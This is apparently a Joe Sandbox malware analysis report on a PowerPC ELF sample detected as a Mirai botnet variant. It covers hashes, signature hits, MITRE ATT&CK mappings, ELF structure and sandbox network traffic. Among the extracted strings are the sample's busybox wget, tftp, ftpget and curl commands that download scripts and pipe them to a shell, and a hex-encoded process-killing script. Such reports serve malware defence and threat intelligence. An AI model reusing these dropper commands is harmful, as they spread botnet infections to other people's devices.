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Linux Analysis Report
ppc.elf

Overview

General Information

Sample name:	ppc.elf
Analysis ID:	1581332
MD5:	b5bec3273052be380342cf82bdd0033d
SHA1:	eb0ea06a8f27218050c787f14aa43361228ff8d4
SHA256:	4aecd808be6ee03126e5ebb6fa8dd258da8a4134be98eaecfc03b85b413ef379
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581332
Start date and time:	2024-12-27 11:57:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ppc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/ppc.elf
PID:	5429
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

ppc.elf (PID: 5429, Parent: 5355, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/ppc.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ppc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5429.1.00007f1284001000.00007f1284013000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ppc.elf

ReversingLabs: Detection: 31%

Source: ppc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: ppc.elf	String found in binary or memory: http:///curl.sh
Source: ppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Kamru
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./Galaxy selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./Galaxy selfrepI just wanna look/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@0/0

Source: /tmp/ppc.elf (PID: 5429)

Queries kernel information via 'uname':

Jump to behavior

Source: ppc.elf, 5429.1.0000563f40485000.0000563f40514000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: ppc.elf, 5429.1.0000563f40485000.0000563f40514000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: ppc.elf, 5429.1.00007ffe8380e000.00007ffe8382f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: ppc.elf, 5429.1.00007ffe8380e000.00007ffe8382f000.rw-.sdmp	Binary or memory string: &x86_64/usr/bin/qemu-ppc/tmp/ppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ppc.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: ppc.elf, type: SAMPLE
Source: Yara match	File source: 5429.1.00007f1284001000.00007f1284013000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: ppc.elf, type: SAMPLE
Source: Yara match	File source: 5429.1.00007f1284001000.00007f1284013000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ppc.elf	32%	ReversingLabs	Linux.Trojan.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	ppc.elf	false		high
http:///curl.sh	ppc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	arm6.nn.elf	Get hash	malicious	Okiru	Browse
	RpcSecurity.arm7.elf	Get hash	malicious	Mirai	Browse
	RpcSecurity.ppc.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	kitsune.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	kitsune.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	kitsune.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ub8ehJSePAfc9FYqZIT6.m68k.elf	Get hash	malicious	Mirai	Browse
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	Space.spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Space.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm6.nn.elf	Get hash	malicious	Okiru	Browse	185.125.190.26
	sh4.nn.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	db0fa4b8db0333367e9bda3ab68b8042.mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.3274188946137295
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ppc.elf
File size:	71'624 bytes
MD5:	b5bec3273052be380342cf82bdd0033d
SHA1:	eb0ea06a8f27218050c787f14aa43361228ff8d4
SHA256:	4aecd808be6ee03126e5ebb6fa8dd258da8a4134be98eaecfc03b85b413ef379
SHA512:	4107a6f176f0085243bb6676ab486c8ee39e80d3f6853aeda767ddda64b9edfe65041eea5158aaae7b5c93735a526283a5e7cf5c312fcbb4b167d25a4d95ba74
SSDEEP:	1536:6dPBA9gkkXi8Ecgk2NpbbSvDKIaS8xyEni8VRRT:A1k36eJ0KI18znikT
TLSH:	93635C43730C4943E1971EB0263F1BE1A3BB958021A5A3C9791EFB5A81B2F73554AECD
File Content Preview:	.ELF...........................4.........4. ...(..........................................................%.........dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?......$.+../...A..$8...}).....$N..

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	71144
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xf42c	0x0	0x6	AX	4
.fini	PROGBITS	0x1000f4e4	0xf4e4	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000f508	0xf508	0x1d00	0x0	0x2	A	8
.ctors	PROGBITS	0x1002120c	0x1120c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x10021214	0x11214	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x10021220	0x11220	0x344	0x0	0x3	WA	8
.sdata	PROGBITS	0x10021564	0x11564	0x38	0x0	0x3	WA	4
.sbss	NOBITS	0x1002159c	0x1159c	0x74	0x0	0x3	WA	4
.bss	NOBITS	0x10021610	0x1159c	0x210c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1159c	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x11208	0x11208	6.3708	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1120c	0x1002120c	0x1002120c	0x390	0x2510	3.0578	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 11:58:05.688488007 CET	48202	443	192.168.2.13	185.125.190.26
Dec 27, 2024 11:58:36.152293921 CET	48202	443	192.168.2.13	185.125.190.26

System Behavior

Analysis Process: ppc.elf PID: 5429, Parent PID: 5355

General

Start time (UTC):	10:57:53
Start date (UTC):	27/12/2024
Path:	/tmp/ppc.elf
Arguments:	/tmp/ppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report ppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: ppc.elf PID: 5429, Parent PID: 5355

General

Chronological Activities

Linux Analysis Report
ppc.elf